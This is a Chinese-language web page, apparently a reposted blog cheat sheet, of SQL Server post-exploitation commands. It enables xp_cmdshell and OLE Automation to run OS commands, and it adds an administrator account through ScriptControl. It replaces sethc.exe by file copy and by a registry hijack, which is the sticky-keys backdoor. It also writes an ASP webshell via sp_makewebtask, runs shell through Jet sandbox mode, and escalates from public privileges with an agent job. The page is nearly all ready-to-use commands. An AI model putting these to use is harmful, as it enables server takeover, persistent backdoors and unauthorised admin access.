SQL 不常用的一些命令sp_OACreate,xp_cmdshell,sp_makewebtask
- 开启和关毕xp_cmdshell
- EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 开启xp_cmdshell
- EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;-- 关毕xp_cmdshell
- EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
- 2.
- xp_cmdshell执行命令
- EXEC master..xp_cmdshell 'ipconfig'
- 3.
- 开启和关毕sp_oacreate
- exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; 开启
- exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE; 关毕
- EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
- 4.
- sp_OACreate删除文件
- DECLARE @Result int
- DECLARE @FSO_Token int
- EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
- EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\user.bat'
- EXEC @Result = sp_OADestroy @FSO_Token
- 5.
- sp_OACreate复制文件
- declare @o int
- exec sp_oacreate 'scripting.filesystemobject', @o out
- exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
- 6.
- sp_OACreate移动文件
- declare @aa int
- exec sp_oacreate 'scripting.filesystemobject', @aa out
- exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log', 'c:\temp\ipmi1.log';
- 7.
- sp_OACreate加管理员用户
- DECLARE @js int
- EXEC sp_OACreate 'ScriptControl',@js OUT
- EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
- EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
- 8.
- 开启和关毕sp_makewebtask
- exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE; 开启
- exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE; 关毕
- EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
- 9.
- sp_makewebtask新建文件
- exec sp_makewebtask 'c:\windows.txt',' select ''<%25execute(request("a"))%25>'' ';;--
- 10.
- wscript.shell执行命令
- use master
- declare @o int
- exec sp_oacreate 'wscript.shell',@o out
- exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
- 11.
- Shell.Application执行命令
- declare @o int
- exec sp_oacreate 'Shell.Application', @o out
- exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
- or
- exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';
- 12.
- 开启和关毕openrowset
- exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE; 开启
- exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE; 关毕
- EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
- 13.
- 沙盒执行命令
- exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 默认为3
- select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')
- 14.
- 注册表劫持粘贴键
- exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
- Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
- 15.
- sp_oacreate替换粘贴键
- declare @o int
- exec sp_oacreate 'scripting.filesystemobject', @o out
- exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
- declare @oo int
- exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
- 16.
- public权限提权操作
- USE msdb
- EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
- @enabled = 1,
- @description = 'This will give a low privileged user access to
- xp_cmdshell',
- @delete_level = 1
- EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
- @step_name = 'Exec my sql',
- @subsystem = 'TSQL',
- @command = 'exec master..xp_execresultset N''select ''''exec
- master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
- EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
- @server_name = 'SERVER_NAME'
- EXEC sp_start_job @job_name = 'GetSystemOnSQL'
-
SQL 不常用的一些命令sp_OACreate,xp_cmdshell,sp_makewebtask的更多相关文章
- SQL Server常用函数及命令
1.字符串函数 --ascii函数,返回字符串最左侧字符的ascii码值 SELECT ASCII('a') AS asciistr --ascii代码转换函数,返回指定ascii值对应的字符 SEL ...
- Oracle的学习一:安装与卸载、sql *plus常用命令、Oracle用户管理
1.为什么学习oracle? 性能优越: 小型数据库 中型数据库 大型数据库 acess.foxbase mysql.sql server.informix sybase.oracle.db2 复杂量 ...
- 二、oracle sql*plus常用命令
一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...
- oracle sql*plus常用命令
一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...
- 二、 sql*plus常用命令
一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...
- Oracle-01-数据库分类/oracle sql*plus常用命令
一.数据库分类 一.数据库分类1.小型数据库:access.foxbase2.中型数据库:informix.sql server.mysql3.大型数据库:sybase.db2.oracle 二.项目 ...
- 4.oracle sql*plus常用命令
一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...
- SQL注入常用命令
1. 数据库查询版本 Mssql select @@version Mysql select vresion()/select @@version oracle select banner from ...
- sql server 常用的系统存储过程
系统存储过程 说明 sp_databases 列出服务上的所有数据库 sp_helpdb 报告有关指定数据库或所有数据库的信息 sp_renamedb 更改数据库的名称 sp_tables 返回当 ...
随机推荐
- 数论卷积公式and莫比乌斯反演
数论卷积: 对于两个数论函数f(x),g(x) f(n)g(n)=∑ f(d)g(n/d) d|n 莫比乌斯函数: 设一个数n=(p1^k1)*(p2^k2)*(p3^k3)*..........*( ...
- .net 连接 Oracle 可能需要配置
D:\Program Files (x86)\Oracle Developer Tools for VS2013\network\admin\tnsnames.ora
- c# HashTable (哈希表)
HashTable 哈希表 也是System.Collections集合下的数据结构类 它储存的也是Object类型的对象 但是它在内存中是散列排布的 因为这个特性,非常适合存储大量的数据 在Hash ...
- nodejs模块循环引用讲解
CommonJS 模块的重要特性是加载时执行,即脚本代码在require的时候,就会全部执行.一旦出现某个模块被"循环加载",就只输出已经执行的部分,还未执行的部分不会输出. 让我 ...
- WPF 去掉Drag a column header here to group by that column
<dxg:GridControl.View> <dxg:TableView x:Name="view" ShowGroupPanel="False&qu ...
- 24种java设计模式总结和目录
https://blog.csdn.net/qq_40369829/article/details/80374131 简介原则分类创建型模式结构型模式行为型模式类图参考简介设计模式是在特定环境下,为解 ...
- Java面试——线程池
1.类比介绍 假如有一个工厂,工厂里面有10个工人,每个工人同时只能做一件任务. 因此只要当10个工人中有工人是空闲的,来了任务就分配给空闲的工人做: 当10个工人都有任务在做时,如果还来了任务,就把 ...
- spark java.lang.OutOfMemoryError: unable to create new native thread
最近迁移集群,在hadoop-2.8.4 的yarn上跑 spark 程序 报了以下错误 java.lang.OutOfMemoryError: unable to create new native ...
- leetcode448
public class Solution { public IList<int> FindDisappearedNumbers(int[] nums) { Dictionary<i ...
- LNMP 支持 ThinkPHP 的 pathinfo 模式
注意使用LNMP 1.4版 1.修改php.ini 启用pathinfo /usr/local/php/etc/php.ini cgi.fix_pathinfo = 0 值改为1 2.修改/usr/l ...